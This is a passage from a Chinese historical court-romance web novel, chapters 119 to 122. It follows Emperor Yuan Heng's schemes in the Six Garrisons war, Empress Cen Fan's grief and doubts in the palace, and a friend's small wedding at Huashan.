怀朔高氏属汉人世家,不似其他旧勋贵保持睡大帐的习惯,住的府邸同洛阳高门府邸没什么两样。 席间奉上了两盏茶,并非军镇能寻得之物。 元衡看了看茶,又看了看下座的高氏。 高寿解释道:“李氏有亲眷在范阳,想着臣没喝过,便带来给臣尝尝,军镇烈酒不比茶,陛下临鄙臣寒舍,臣便想着把家里的茶拿出来,茶自是不比洛阳,还请陛下见谅。” 元衡回过眼,道:“高将军若喜欢喝茶,等此战过后,自可去洛阳,尝遍世间名茶。” 高寿似是惊讶,道:“陛下说,让臣回洛阳。” 元衡道:“正是。” “不瞒高大人,朕此番前来便是为了借兵止战,前些日书信于高大人,大人并未回信,朕才亲自来请。” 高寿大惊,跪地谢罪,“陛下赎罪,陛下所说之信,臣并未收到,臣这些日死守怀朔,便是为了保住兵力,随时供陛下调遣,如今李将军人已奔赴武川,城中将领方才也在讨论御敌对策,还望陛下明察!” 元衡早料到这番说辞,淡淡一笑,道:“高大人请起,朕来时见怀朔城门紧闭,便知其中难处,亲自前来,也是怕有人存异心。” 高寿猜到他所说存异心的是何人,那杨知聿是杨氏义子,投靠皇帝,以摆脱杨氏掌控,城府极深,安之不会再生二心。 只是这皇帝到底还是太年轻,有治国之心,却不懂用人不疑。 杨樾此前同他说过不会动他高氏,谁知那疯狗竟放蠕蠕人进武川,武川离怀荒尚隔着两个军镇,却是离他怀朔不远,说是现在不动他,安之背地里存的何心!若是今日皇帝在怀朔境内出了事,那高氏会不会转头就找个理由,来灭他怀朔! 和杨樾那个疯狗周旋,倒不如先辅佐这样一个疑神疑鬼不识人心的皇帝,待在洛阳扎稳脚,再夺权不迟。 高寿心里盘算了一阵,越想越觉得被杨氏摆了一道,便是答应下来,“陛下亲临怀朔,臣义不容辞,明日便派人出兵,若能与陛下的兵力成包围之势,六镇之乱,便可解矣” 元衡道:“那便多谢大人。” 说罢,元衡站起身,拱手作了一揖。 高寿当不起,回了个大礼。 待元衡出门,却是见到一女子堵在门外,那女子年龄不大,眼窝凹陷,像是有胡人血统,却生了副窄小的身架。 女子呆呆地望着他,高寿皱眉道:“怎得这般无力。” 女子低头行礼,“陛下万安。” 高寿道:“这是小女,名唤玉琼,对陛下倾慕已久,是以方才失了礼数。” 说罢,那女子跪地一拜,高寿随之行礼,“臣知陛下与皇后伉俪情深,但臣忠心赤诚,便是斗胆想陛下进言,帝王娶妻纳妃非似寻常百姓,乃是为了江山社稷,皇嗣凋零,长此以往,即便是陛下爱重皇后,朝中必生怨言,到时罪名必会加诸娘娘身上,对于皇后娘娘和公主而言,并非好事。” “臣今日想亲自替小女做个媒,请陛下看在小女一片痴心的份上,允许小女侍奉陛下身侧。” 第120章 第一百二十章你若想出宫,我帮你…… “高大人一片赤胆忠心,朕听得进去,不妨同大人说,这番话赤城穆氏也说过。朕已决定,此战告捷后,便下诏纳四妃。” 高寿没曾想过他答应的这么快,他听过皇帝刚登基那阵,宁肯得罪一众朝臣也要执意立岑氏为后,不纳后妃。 六镇到现在都有传言,说那岑氏女比洛神还要美上几分,是狐妖转世,专门来魅惑君主。 高寿不禁心生疑窦,暗中多观察了几眼,那君王长了一双凤眼,眼尾弯长,虽然是透着冷,却也显得多情,目光落在自家女儿身上,留有一副笑容。 那笑中既无讽意,也没喜悦,似是饶有兴致。 目光停留了几刻,元衡才道:“朕有意纳妃,不过朕与皇后是结发夫妻,皇后若无大过,朕决意不会废后。” 高寿心说皇帝多疑,对他这番说在前的丑话并不见怪。 皇帝能这么说,话反而真了几分。 高寿暗暗点头,高玉琼一福身,“陛下龙章凤采,气宇轩昂,令世间女子向往。” 元衡笑道:“如此便再好不过,朕还要尽快赶回怀荒,等六镇战事结束,朕便回洛阳下旨,册封姑娘为贵 妃,如何?” 此话一出,高玉琼却是沉默,高寿心也吊了起来,贵妃乃妃首,这他知道,可且不说皇帝战事了后认不认此事,这穆氏多年盘踞赤城,同皇帝关系本就近,又是带头效忠皇帝在六镇实行均田制的贵族,皇帝答应纳妃不是因为他高氏,而是因为穆氏,到时候他女儿再入宫,焉知会不会得宠。 高玉琼似也反应过来,一个眼神来回便是了然,低下身子,道:“妾身斗胆,想同陛下一起回去。” 元衡推辞道:“六镇危机四伏,刀剑不长眼,朕这支神鹰军行进也快,路途艰苦,你先留在这里,等到战事一结束,朕便亲信接你去洛阳。” 高玉琼见状抿了抿唇,竟是跪在了他面前,抬起一双眸,“臣妾自小长于军镇,吃得苦,心甘情愿侍奉左右,陛下不必有顾虑。” 心甘情愿… 元衡心里默念四个字,竟是有点想笑。 哪里有什么心甘情愿,不过是想赌一把,赌她能跟随着他平安无事回到大营,这样她便是帝王身侧的随军夫人,能站稳脚跟不说,进宫后连皇后都要敬她三分。 他和上一世人人喊打的时候,也只有一个人是为他“心甘情愿”。 元衡收住眼底冒出的那点冷,连带着那声冷哼也被一声轻笑带过,“那便委屈你先将就一段时日,等回到洛阳再做正式册封也不迟。” * 六镇正月白雪茫茫,元衡带着队伍离开,高寿也派了些人随他一同回去。 在军镇长大的高氏到底像她说的那样,不怎么娇惯,跟着一群将士在一起,马也骑得,就连那一片白皑的大漠也度得。 元衡并没有为其停歇,反倒回程更快了些,两天两夜不曾合眼。 直到远离怀朔,进入武川界内的群山中,才停了下来歇脚。 元衡带来的这批神鹰军以快战闻名,风餐露宿本就是习惯,那唯一的帐子本是准备给他,如今便让给了那高氏贵女。 直到帐外架的柴火都灭了,元衡也没有回到那顶帐子中,只是在外面同一个个军士围着柴火商讨战事,耳朵冻得通红。 还未有歇下的打算,高氏的人却悄然走上前来,“陛下,姑娘方才说,那帐子内冷,奴婢没想着路上会如此寒冷,没有带多余的厚衣。” 闻言,外头的军士停了话,面面相觑,有性子急些的就要起身,却是被人拦住,只得嘟囔了几句,“高氏都没备厚衣裳,难道咱们这儿就会有?” 元衡睨了一眼,道:“此行皆是从简,连朕都不曾多带厚衣,还要请你家姑娘将就几日。” “可是陛下…” 元衡转过头道:“军师那边倒是有件袄子,她若是不嫌弃,可以借去。” 婢女语塞,也知道了这位君王的态度,不免沮丧,却不敢说半句怨言,回去时静悄悄的。 宋云摇了摇头,却也风轻云淡,并未说什么。 那婢女离开后,并没有当真去寻那厚袄,而是朝那帐子走去。 手刚挑起帐子,却是一阵寒风,自外而内灌入,像是从血肉中穿过,冷得刺骨。 而后乱声起,继而覆过来连连喊声,“敌袭,是敌袭!” * 六镇的消息传回宫时,岑璠正在给满满使小衣裳。 小孩子长得快,不过这宫里唯一的公主倒是不必担忧,每隔几日便会新的衣裳送来。 帝后向来简朴,却对这个孩子不曾有半分吝啬。 皇帝只身入怀朔,归途遇袭,至今下落不明。 消息传入岑璠耳中,手上的小衣裳掉在了床榻上。 满满如今认得人,也能感知到些什么,那件小衣裳掉落时,笑容也收进去几分。 岑璠自问对那个人并不依恋,可听到消息,心里到底还是阵阵难受。 她愣住一息,下意识看向床榻上的女儿。 “还有什么消息?”她问道。 紫芯欲言又止,却不想欺瞒,“听说…陛下离开怀朔后,带了一名高氏女回去。” “军镇都在传,说是…” 紫芯支支吾吾不肯说,岑璠却是接道:“是皇帝要纳妃,是吗…” 紫芯低下头,手中的帕子绞成一团,“姑娘,奴婢觉得陛下不是那样的人,兴许另有隐情。” 岑璠轻轻“嗯”了一声,眼中显然无怨怼之意。 紫芯一时也琢磨不透,自家姑娘到底是不在乎,还是真的对皇帝全然信任。 似乎哪种都不是。 “这几日若是再有消息,无论好与坏,都报给我吧。”岑璠交代后,将床上的满满抱起来,沉默许久,才又问道:“韩大人呢?” 一说起这个,紫芯担忧更甚,“奴婢方才打听过,韩大人这些日出宫,还未回来。” “那便好。”岑璠低下头,拍了拍满满的背。 紫芯思索许久,似是明白过来岑璠为何这么说,“姑娘是觉得,韩大人出宫不是凑巧,是早有准备?” “不知道。” 他走的时候,只说要去军镇,别的什么都没同她说… 她哪里知道,他又是去搏命。 岑璠低下头去,看了看怀里的姑娘,似已经习惯这样的不太平日子,泰然言道:“这几日皇城内必有异动,赵将军驻守在南,韩大人此时在宫外,总要比都困在宫里好。” …… 紫芯不知道这宫里的皇后要做何打算。 她只知道,岑璠在那含章殿的窗前坐了好几日,像是在发呆,一坐就是半日。 其实在乳娘的事败露后,岑璠就常常在窗前发呆,只是这几日格外坐得久了些, 宫外的消息,紫芯也在时刻注意着。 岑璠担心的事并没有发生,相反的,这皇城平静的太过异常。 不过三日,返乡的郑丞相带着圣旨进宫,求见岑璠。 带来的是阿湄婚期延后的消息,并无其他。 郑峋知道她想听什么,却只能无奈叹息,“若是陛下此战回不来,臣会护娘娘和公主平安。” 岑璠弯出一个笑容,那笑没有温情,反倒像是有些怨怪,“陛下思虑周全,那便多谢了郑大人了。” …… 此后几日,岑璠都没有见过郑峋,只是听说郑峋去过六皇子的住处。 军镇也并非没有消息,怀朔高氏失了女儿,闻后悲恸万分,再也不是袖手旁观的态度,向武川进军,同怀荒两面夹击,将柔然困在两镇之间,如同铁桶牢笼。 柔然节节败退,源源不断的捷报传入宫中,只是军镇再无他的消息。 殿内的窗每日都开着,岑璠不曾听过宫中的丧钟敲响是怎样的声音,但可能就是这几日,那死寂的声音就会传遍整个皇城。 她恍然间意识到,他也算是她的半个亲人,即便是她一直在否认,他还是能牵连到她的情绪。 岑璠坐在窗边,微微叹了口气,摇床边上悬挂的小铃铛突然叮当作响。 满满睡的时候规律了许多,按理说这个时候不该醒才是。 岑璠从那张小榻上起身,趿上床下的鞋子,走到跟前,发现小姑娘果然醒着,手轻轻挥舞着。 “你是在担心你的父皇,还是在害怕?” 话音刚落,却听见有人气喘吁吁跑进来。 岑璠屏住了呼吸,未抬起头看来人。 紫芯还未站稳,便迫不及待道:“姑娘,陛下他没有死!韩大人回来了,说是陛下带着李氏的人,直捣武川腹地,六镇军民大胜!” 紫芯说这番话时神采飞扬的,几日来凝重的神色都消失了去。 岑璠呆住许久。 她心里到底是欣喜的,可不知为何,却泛起些酸涩。 她明白了,一切都是他计划好的。 可她还记得从前,他虽是也有算计,却不曾吃了亏去,如今当上皇帝,反倒像是在刀尖上舔血一样,竟每次都要用自己的性命做赌。 那高氏女的传闻,想必也在他的算计内,可若不是被逼到了绝路上,何至于去那么做… 长路漫漫,将来他会多少次被逼到绝路上呢?又会有多少次因为她和满满被人逼到绝路上。 岑璠咬紧了嘴唇,手指蹭了蹭小姑娘的脸颊,心里千回百转后,却只说了一句,“能回来就好。” 紫芯知道岑璠一向不善言语,能说出这一句,便已经是真的很担心了。 “姑娘几日都睡不安稳,晚上好好睡一觉吧。” …… 夜晚的皇宫,气氛不似几日前那般冷肃,殿前走动的宫人也多了些。 当晚,紫芯叫人备好汤池香料,劝了岑璠来沐浴。 只是就算如此,这一夜岑璠也睡的并不安稳。 她梦到乳娘站在她床边,同她一遍遍道歉,那声音苍老如鸦,悲惨凄凉。 睁开眼时,那人似乎没有眼睛,天雷劈下,一双黑洞里留下的是血泪。 岑璠彻彻底底醒了,整个身子都在颤抖,周围漆黑一片,方才梦到的那人并不在,却又好像并没有走远。 这些日元衡不在,紫芯一直在殿中守着岑璠。 岑璠站不起来,大声喊了几遍紫芯的名字。 紫芯醒过来,听到唤声未做太多思考便起身赶来,刚摸着黑绕过屏风,却听到一道颤抖的声音,“先把灯点起来吧。” 紫芯脚步顿住一瞬,依言点燃了桌上烛台的蜡烛。 “再亮点,多点几盏…” 紫芯意识清醒了几分,闻言看向床榻,屋里还有些昏暗,她只能看清龙榻上的人缩成一团。 她将殿内最亮的那盏凤凰烛台点起来,走到榻边,急问道:“姑娘怎么了?” “你快去,去叫人去看看,乳娘她现在怎么样了…” 乳娘如今被关在永巷后的一座废苑中,这些日子岑璠并未去过,只允许槿儿偶尔去探望。 紫芯不知发生了什么,岑璠默然不语,只用手推她,似是在催促,“快去…” 紫芯醒过神,连忙放下手中的火折子,出门交代人 前去查看,又回过头去陪她。 过了许久,太监静静地走进来,似是惋惜,道:“娘娘,苏媪方才…暴毙了。” “医官去过,说像是惊吓过度,突然没的。” 岑璠脸色刹然间白了许多,夜里那张可怖的鬼脸又一闪而过,从脚底袭来阵阵恶寒。 “你先下去吧,叫槿儿她去看看…” 乳娘之事宫中调查了一整夜,直到天亮之时,才给岑璠带了确切的结论。 是夜里突遭梦魇,一口气没喘过来,窒息而亡。 岑璠一个晚上都醒着,如今缓过些神,浑身却还是无力。 她换上衣裳,由紫芯搀扶着走出去。 快至永巷时,宫人恰好抬着担架出来,担架上躺着一个人,身上盖着白布,看上去冷冰冰的,没有一点温热。 岑璠的目光追随着那张白布,停住脚步,宫人擦过身旁时,眼泪禁不住流了下来,温热铺满了脸颊。 她随意拽住一个宫人,问道:“槿儿姑娘呢?” 宫人行了一礼,低头道:“姑娘还在屋内,哭得太厉害,方才晕了过去…” 岑璠垂下手,看了看面前的那道门,停了许久,最终却是转过身。 她穿得素净,摇摇晃晃地往前走,像是天上快要消散的浮云,随时就要飘远似的。 紫芯连忙跟上,扶住她道:“姑娘,苏媪的死和姑娘没有关系的,姑娘千万莫要自责才是,能被噩梦吓死,那说明…” “别说了,回去吧。”岑璠打断她的话。 紫芯这才发现,她的脸上布满了泪水,收住刚才说的话。 苏媪虽然骗了岑璠,可毕竟从小跟着岑璠到大,说是半个母亲也不为过,说是断亲,却着实没那么容易。 紫芯合上嘴,慢慢随她往回走。 快回到含章殿时,两人遇到了墨群。 岑璠目光未移,一味往前去,“有什么事晚些再说罢,都别跟来了。” 墨群看着她,要动脚步,是紫芯摇了摇头,示意他莫要追去。 岑璠向前走,停在了门前的一棵梅树下。 冬去春来,枝上的梅早就都谢了。 岑璠记起,她们几个人曾经住的小院子前、也种了几棵这样的梅树。 那个时候,现在想来其实也是好的。 现在那小屋前那几个树还在不在,她似乎都不知道了。 她已经太久没有回到那个地方了,如今也没有人能同她一起回去了… 眼前渐渐被泪水模糊,她蹲下身去,紧紧捂住嘴,可还是有断断续续的呜咽声从指缝中穿出,素白的裙铺在地上,沾染上了春日融化的泥土。 墨群站在不远处,静静看着这一幕,捏紧了拳,缓缓靠近,“岑姑娘…” 哭声停了下来,岑璠扶住膝,踉跄起身,许久才转过身去。 泪水还未拭干,她却咧出一个笑,“我不是叫你们不要跟过来吗?” “怎么,墨侍卫是想被罚吗?” 墨群闻言唇抿得紧了些,没有退让,反倒又上前一步。 他盯着她的眼睛,认真地问道:岑姑娘有想过离开吗?” “你若想离开皇宫,我帮你。”【你现在阅读的是 】 120-130 第121章 第一百二十一章陛下是不是对娘娘有什…… 岑璠紧盯他,忽然发出一声冷笑,“墨侍卫问这些,不觉得可笑吗?” “我…” “如今本宫是这宫里的皇后,还诞有一个公主,如何能离开?”她目光不离,反问道:“这一切,当初不也拜墨侍卫所赐吗?” 墨群沉默了许久,薄唇紧抿,那向来不近人情的声音似染上些愧疚,“我知道你厌恶我,你真心相待,我却多有欺瞒,是我对不起你。” “当初是墨群糊涂,读不懂姑娘,总觉得进宫既是对姑娘好,也是对陛下好,时至今日才明白,一切该是恰好相反才对。” 岑璠听后,眉舒展开些,连带着身上散发的戾气也收去些。 墨群继续说道:“我看过令堂的信,令堂说过希望姑娘能够自由自在,为自己而活,这其实也是姑娘心中所愿,不是吗?” 岑璠呆愣住,方才刚刚竖起的戒心和防备仿佛被顷刻瓦解。 她低下头去,道:“是又如何?已经不可能了。” “这件事就当我没有听过,也不会告诉陛下,回去吧。” 她见他仍挡在身前不肯走,便自己抬开步子,仍旧是回来时的颓然,像是将要枯涸的一潭死水,失去了曾经波光粼粼的色彩。 擦肩而过时,墨群再一次确认道:“皇后当真打算不走了吗?” 岑璠冷漠道:“墨侍卫还是回去吧,若是再久些,你我被人发现,被陛下听了去,他不对我生气,也定是要责罚你的。” “墨侍卫这官位好不容易才得到,可别轻易弄丢了。” 墨群听得出她言语中的讽意,讽他当初因为骗她,才换得了如今的身份。 他握紧了拳,转过身道:“皇后不妨再好好考虑考虑,我就守在这含章殿,若有朝一日,娘娘决定要离开,微臣会想办法把娘娘送出去,万死不辞。” * 六镇战局渐稳,柔然见势不对,仓皇撤兵,叛军被围困在武川大营内。 杨樾弃军而逃,不知所踪,后来在赤城附近被尔朱氏找到。 当晚,元衡便到达了城内,杨樾被关在赤城大营的地牢里,脸上,身上,到处都是刀剑所伤的伤痕,那些伤口多日不曾处理,有些生了冻疮,有些已经开始溃烂。 他盘腿坐在草席上,闭目养神,似是在等着他。 元衡站定在他面前,看到他这般模样,并没有多少胜利的快感, “舅父这是何必呢?” 杨樾睁开眼,那双眼不同于身上的狼狈,锐利如刀,在昏暗的牢房中似都能看出刀锋闪烁的亮光,声音刻薄,“你还叫我舅父?” 他冷哼一声,慢条斯理地理了理身上褴褛的衣衫,冷声道:“你的身份,想必胡氏已经告诉你了,你并非我杨氏的血脉,是害我妹妹的那个贱人之子,你还有脸叫我舅父?” 元衡否认道:“她不是什么贱人,也没有杀害母亲,杀了她的一直都是胡氏还有先皇,她又有何大错?” 杨樾道:“你是那贱人生的,自然是为她辩解。”他叹了口气,“想我妹妹也养了你十几年,竟不想竟养出这样的白眼狼。” 元衡指节捏得咯咯作响,近乎要捏碎了一样,“朕即便是知道了身世,先前也从未想过要取你们的性命,舅父若在军镇安分守己,本可相安无事。” 杨樾靠在墙上,不为所动:“这说的好听,你在军镇做了这么多动作,先拉拢尔朱氏,又推行均田,难道不是为了防备我?削我的权?” “防备是一回事,可害人是另一回事。”元衡低下身,那目光像极了杨樾,像是在看掌中的猎物。 杨樾同他对视,挑起一个挑衅的笑容。 元衡问道:“舅父口口声声说是为了杨氏,可到底是为了母亲,还是害怕丢掉手里的权,替自己的野心找借口?” 杨樾发出了两声笑,挑眉道:“自然是都有。” “还有,你不配叫她母亲。” 元衡站起身,道:“朕下旨尊母亲为太后,为何不能这般称呼?” 杨樾紧咬牙,恶狠狠道:“你就是不配当她的儿子,你早该和那个贱人一起死了,是你害死了她的孩子,这一切本该是属于她的孩子,我的外甥的,你算是什么?” “我若是早知道你不是我妹妹的孩子,当初渡河的时候,何必救你。” 元衡静静听他说着,渐渐的五感似有些冷,就连身上刚刚闭合的伤口都感觉不到疼。 原来十几年的相依为命,只需要几句“你你我我”,便能轻而易举分得清清楚楚,干干净净啊… 他淡淡一笑,道:“舅父不必这般激我,你们视我为仇敌,可我不是,我还是会留舅父一命。” 说完 这句,元衡头也不回地转身离开。 杨樾独坐了许久,没有人要来取他的命,甚至有人给他送来了治伤的药。 他低头看着那些药,笑了一声,只手将那些药拂了去。 …… 元衡走出去后,并未回到营帐中。 他屏退周围的人,伫立在雪中良久,白雪洋洋洒洒落在肩头,甲胄上映照的月光寒气逼人。 静谧的雪中,除了偶尔传来的巡逻脚步,只剩火把燃烧的噼啪作响声。 杨知聿靠近时,元衡转过了身。 杨知聿问道:“他方才同陛下说的什么,不妨同微臣说说?” 元衡余光看向他一眼,淡淡道:“你方才不是都听到了吗,为何还要来问朕?” 杨知聿挑眉,叹了口气道:“陛下不想说,微臣便不问。” “陛下的伤如何了,听说此行伤得不轻?” “算不得什么致命伤,有军医在,并无大碍。”元衡只风轻云淡说了这些,可那双薄唇丝毫没有血色。 杨知聿点了点头:“是,对于咱们陛下来说,活着便能算是无碍了。” 元衡撇开头,杨知聿又瞅了两眼,问道:“陛下这次失踪是故意的吧?为了逼高氏心甘情愿出兵?” 元衡不语,似是将此事默认了去。 杨知聿叹惋道:“可惜了那高氏女,本以为得到了陛下垂怜,却命丧荒漠,据说高氏派人去武川,到现在都没有寻到尸骨。” 元衡盯着远处的篝火,未有丝毫动容,“她身边都是高氏的眼线,不连根拔起,难道要让他们随朕一起回到怀荒大营?” “那高氏女敢跟来,不也是在赌命?朕只不过恰好不想让她赢罢了。” 杨知聿看着他,像是将一切都看透了去,道:“说实话,我如今倒是挺佩服陛下的。” “陛下明明可以纳了她,从长计议,可偏偏拿自己的命赌,值得吗?” “朕答应过皇后不纳妾。”元衡勾起一个笑,“朕这么做,想必皇后会高兴,说不定还能得几分怜悯,如何不值得?” 杨知聿心道他是个疯子,也不苟同他说的这番话,“陛下确定?她希望陛下这么做?” 元衡皱起眉,“什么意思?” 杨知聿一时不知道该如何回答他。 他还记得,那时元衡中毒的时候,岑璠怀着孕在殿内守了一夜。 眼前的皇帝怕是那时中毒毒坏了脑子,自个儿忘了。 杨知聿斟酌一番,怕他不明白,索性挑明了说道:“陛下是不是对娘娘有什么误解,我是说或许她并不是那般冷心之人,看到陛下这样心里也会难过,会愧疚呢?” 元衡眉皱得越来越紧,他似乎从来都没有将她和他用伤心愧疚这样的词联系到一起。 她会为了他伤心难过吗? 元衡独自想了片刻,最后得出了答案,“她不会。” 她或许会为这世上任何一个人伤心愧疚,甚至是为那死的不明不白的高姑娘,可绝对不会是他。 他欺她伤她,逼她做了许多不喜欢的事,即便是有了满满,认了命,也该是厌他的,他若是真的死了,她怕是真连烧个纸钱都不会给他烧。 还有那封信,她知道了那封信,肯定懊恼后悔过,后悔为了报仇嫁给他。 可那又如何? 杨氏不在,六镇的各方势力有了新的平衡,很长一段时间他都不用再亲自出征。 等这一次回去,便是很久不会和她再分开了。 经历种种,他们也只有彼此了。 * 春分过后,洛阳的新枝抽出嫩芽,百姓早已在田里播下农种,正是庄稼生长的好时节。 战局已定,阿湄的婚事便又重新筹备起来,华山县很快送来请帖,定在了清明后的一个日子。 寒食节那日,本该是帝王祭祀的日子,只是元衡未归,祭祀之事便也无从谈起。 岑璠却第一次用了那枚凤印,命人准备了一番,前去邙山中的禅墟寺,祭拜亡故的母亲,告诉了她这一年来发生的事。 “母亲放心,女儿已经替您报仇了,您安心去吧,下辈子别再遇到父亲了。” 她拜过后,将三炷香奉上,抬头看了看那座释迦摩尼,佛像高大,慈悲的眉眼向下俯视,释结解怨,普渡众生。 她又合手一拜,“女儿如今也有了一个孩子,您可以放心,我…或许会如您所愿,好好活下去。” “珝儿已经离开洛阳,女儿找了两个可靠的人护送他去彭城,他心性浮躁,却太过单纯,母亲多保佑保佑他,这一生能平安便足矣。” “还有槿儿,那丫头忧思成疾,但愿她能快些好起来…” 岑璠默念完这些便睁开眼,静静看着炉内的香火燃烧。 一截香灰不堪重负,掉落在香炉中,她转过身,推开了门。 陪她上山的女官也多盛装而来,端立在门外。 她还要做回皇后的身份,去别的殿内祈福,求时和岁稔,风调雨顺。 岑璠一扫所有人,沿阶而下。 大殿外的砖石上刻有细细的经文,忽然什么东西掉落在一块儿砖石上。 岑璠低头微微抬起脚,发现自己踩到了一根红绳。 她今日来祭拜,特地带了许多年前母亲给她亲手编的一段红绳。 那红绳应当是太旧了,纽结恰在这个时候松开了。 那红绳下的砖石恰可有几个字,定睛一看,是一句“四大皆空”。 佛说万物因缘和合而生,不可强求,痛苦之根源非在外物,求诸于己,方可安宁。 岑璠捡起那根红绳,紧紧攥在手中,忽然手又松了开了些。 第122章 第一百二十二章逃不掉 岑璠在婚礼的当日才出现在华山县。 婚礼只设在县城外的一处别院里,崔迟景尚在丧期,此次先成礼也是郑峋的意思。 这一年多来,郑峋始终放心不下,朝政刚稳定些,便想趁能办的时候,赶紧将两人的婚事定下来。 听说此事还经历过几番争吵,最终商量下来,只是和了八字,换了婚帖,在这个小院中摆个家宴,邀了郑氏的几个长辈参礼,约莫连同房都不会有。 她来时乘坐的马车也是郑氏备好的,出城去时也坐的是郑氏的马车,只假称是郑氏女眷出城。 岑璠下车时抱有一卷画,那是她给二人画的贺礼,郑峋亲自迎她进门,一旁的小厮就要接过她手中的画。 郑峋道:“娘娘能亲自前来,还备了礼来,乃是小女的福气。” 岑璠却未将那幅画交给下人,“郑伯伯客气了,阿湄是我的朋友,应该来的。” “此处没有皇后,这幅画…我想自己给她。” 郑峋了然一笑,做了个请势,“是老臣糊涂,夫人请进。” 岑璠回笑,抱着那幅画进了院子。 别院中有一座小屋,窗正大开,窗内的娇娘迎窗而坐,好几个婢 女围在身旁,有妇人正在身后帮她梳头,似在聊着什么,引得窗前的人喜笑颜开。 郑伊湄的母亲去的早,那梳头的妇人当是郑氏的一位女眷。 岑璠临近窗前时,屋内的人便是都注意到她,屋内的妇人向她行了一礼。 郑伊湄的这场婚宴未邀请京中旧友,世人都觉得他们死了,也只有他们这些人知道崔郑二人还活着。 说白了,其实这场婚宴就是摆给郑峋看的。 可不管怎样,这场婚礼都曾被期待过许久,想来临窗而坐的新娘今日是十分欢喜的。 岑璠恍然间想起,杨知聿说他们都有上一世。 她不认得阿湄的那一世里,阿湄是怎样的呢?是像现在这样同所爱之人修成正果,逍遥自在,还是早已化作一抔黃土,亦或是孤苦一生? 岑璠望着窗内,渐渐抿出了一个笑,那笑容淡若云烟,太过无声。 郑伊湄道:“皎皎站在这里做什么?外面冷,且进来说。” 屋内的妇人闻言放下梳子,在岑璠就要进屋时迎了出来,屋里的小婢女奉上一杯茶。 妇人将岑璠迎进去,道:“姑娘还在梳妆,皇后娘娘且坐。” 郑伊湄的妆台就在不远处,“二姑姑还是叫岑姑娘吧,您这么叫,我倒还有些不习惯。” 岑璠轻笑一声,“该依你。” 妇人见状,斟酌片刻,“那臣妇便叫您声岑夫人吧。” 岑璠颔首,轻轻“嗯”了一声,起身向郑伊湄走去。 她将画匣递出去,“贺尔新婚,岁岁无忧。” 岑璠这幅画是很久之前画的,那时他们她被关在王府,实在无趣,便将在平城小院中看到的二人画了下来。那时面前的人假死脱身,换成谁来看都该是落寞,可她看到后,只艳羡那温暖宁静。 郑伊湄接过画匣,迫不及待想打开,却是想到什么,又按住手,眼睛转了转,道:“既是新婚贺礼,现在看不妥,我还是晚上看吧。” 岑璠向周围看了看,问道:“崔公子呢?” 郑伊湄叹了口气,“他一早出去了,说什么既然要办,便如何也不该委屈我什么的…” 她声音越来越小,嘟囔到最后谁也听不见,便索性不再提,转而问道:“皎皎呢,怎么不见满满小姑娘?” 一旁的姑母答道:“你呀,也就是家里最小的一个,没见过小孩子。” “这小公主还不到周岁,最容易生病的时候,怎么好带过来?” 另一个长辈接道:“等到过两三年,她自己有了孩子,就该知道小孩子多娇气难带了。” 岑璠静静听着几人打趣,轻轻笑了笑,却是有些心不在焉。 郑伊湄有所察觉,问道:“皎皎在想什么?” 岑璠回过神,“没什么,想到满满罢了。” 她话音顿了顿,道:“阿湄若是想见满满,以后或许还能见到的吧。” 郑伊湄觉得她有些反常,微微皱起眉,“皎皎这是哪里话,为何见不到?” 岑璠怕泄漏自己的情绪,眼神有些许躲闪,“阿湄也知道,这皇宫难进难出,下一次见面真不知是何时…” 二姑母道:“夫人今日先莫想这些,只当自己是六姑娘的娘家人,这来日方长,何愁不相逢?” 岑璠浅浅一笑,心中释怀了些,“姑母说的对,来日方长。” 她努力将笑容又展开了些,在一旁看着妇人和婢女给她梳妆。 即便是这样一场婚事,也筹备的相当繁琐,一番打扮下来,也过了日头最晒的时候。 唇上的胭脂上好后,门外传来了一阵笛声,在这山间别院中空灵婉转,竟是一首《凤求凰》。 郑伊湄站了起来,二姑母却是将她按了回去,“哪里有新娘子出去迎夫君的道理?你且在这里坐着,我们出去。” 岑璠跟着郑氏的人一起走出屋子,打开别院的大门。 门外的人已经换好了婚服,火红的衣裳掩住了他身上的风流脱俗,放荡不羁,多了些俗世的烟火气。 他的身侧仅有家仆,未有亲友,身后仅一马一车,那车上栽有一棵长成小树苗。 郑氏之人面面相觑,岑璠也不知是何意,但她猜想那棵树苗约莫对于二人有特殊的意义。 就在此时,小屋的门被推开,众人回头,只见郑伊湄站在门前,蒲菊紧随其后跟了出来。 蒲菊清了清嗓子,喊了一声,“姑娘出阁。” 郑伊湄得了提醒,慌忙用团扇掩面,郑峋亲自牵着她出门,沉默地站在崔迟景面前,脸上的神态算不上欣喜,可到底也没表现出什么厌恶。 崔迟景一拜,道:“小婿无亲友,承蒙厚恩,此生能得阿湄不弃。” “此树是两年前小婿栽下的一棵柏树,已经长成形,此番移至家中。” 郑伊湄怔怔地看着那棵柏树,“这棵树是” “几年前与你游玩至华山县,你说想种一棵树,当时咱们一起种下的就是这棵柏树,后来你回洛阳,我便时常来看看,竟真的生根发芽,便常叫人来照看一二。” “这棵树离院子不远,那日去看,我发现它还活着,便有了把它移植到此的念头。” 崔迟景举起手来,盯着她的眼眸,道:“我崔迟景今日在此立誓,松柏不倒,永不负卿。” 松柏长寿,此番话便是在说,此生不负。 此话说出口,郑峋的脸色也缓和了几分,他让开一步,允崔迟景进门。 郑伊湄上前一步,“我当时不过是玩笑话罢了。” “嗯,可我当真了,这不也种成了?” 郑伊湄不由自主绽开一个笑,踮起脚尖,紧紧抱住他。 周遭的气氛终于缓和了些,些许欢笑弥漫在周围。 岑璠也欣慰地笑了,她抬头环视四周,这场婚宴无宾客满座,无锣鼓喧天,甚至连红绸都不挂上,可到底配得上这春暖花开。 席间无礼乐,仅是一桌小的家宴,算不上热闹,却其乐融融。 待到宴席结束,郑峋起身离席,还叫走了崔迟景,“你且过来,我有话同你说。” 席上的人除了她都是郑家人,倒是皆未劝说什么。 岑璠先前也猜到郑峋定会这么做,这是郑家视作珍宝的女儿,如今郑峋做上丞相职位,以郑伊湄的身份来说,就算是皇室贵族,世家公子,也会争着抢着要娶,此番崔迟景虽是入赘,郑老又怎会真的甘心。 郑氏有不少旁支住在华山县,此番请来的也多是在华山县的族人,天色已晚,有不少人从席间离开。 郑伊湄放心不下,时不时盯着那道紧闭的门看。 岑璠道:“你放心,郑大人既是答应了你二人成礼,想必是不会太为难他。” 郑伊湄点了点头,看了看周遭的天色,问道:“皎皎今夜可是打算去华山县中过夜?若是不嫌弃,这座别院中也还有几间客房。” “我回华山县。”岑璠趁她不注意时,避开她的目光,“陛下过几日也快回来了,我还是快些回去的好。” 郑伊湄这些日也听说了六镇大胜的消息,皇帝凯旋,她 这个做皇后的确实是该露面才对。 